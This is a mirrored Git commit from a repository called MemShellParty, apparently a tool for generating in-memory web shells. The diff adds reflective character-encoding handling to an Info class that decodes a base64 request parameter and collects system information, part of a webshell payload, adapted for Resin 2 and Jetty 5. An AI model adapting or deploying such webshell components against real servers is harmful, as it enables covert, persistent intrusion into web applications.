mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-23 23:41:52 +08:00
feat: support resin2 and jetty5
This commit is contained in:
@@ -26,8 +26,8 @@ public class Info {
|
||||
|
||||
try {
|
||||
this.response.setContentType("text/html");
|
||||
this.request.setCharacterEncoding(this.cs);
|
||||
this.response.setCharacterEncoding(this.cs);
|
||||
this.setCharacterEncoding(this.request, this.cs);
|
||||
this.setCharacterEncoding(this.response, this.cs);
|
||||
this.decoderClassdata = this.decode(this.request.getParameter(var5));
|
||||
var2.append(this.SysInfoCode());
|
||||
} catch (Exception var8) {
|
||||
@@ -127,6 +127,14 @@ public class Info {
|
||||
return this.encoder.equals("base64") ? new String(this.Base64DecodeToByte(var1), this.cs) : var1;
|
||||
}
|
||||
|
||||
void setCharacterEncoding(Object var1, String var2) {
|
||||
try {
|
||||
Method var3 = var1.getClass().getMethod("setCharacterEncoding", new Class[]{String.class});
|
||||
var3.invoke(var1, new Object[]{var2});
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
public byte[] Base64DecodeToByte(String var1) {
|
||||
Object var2 = null;
|
||||
String var3 = System.getProperty("java.version");
|
||||
@@ -147,4 +155,4 @@ public class Info {
|
||||
return new byte[0];
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user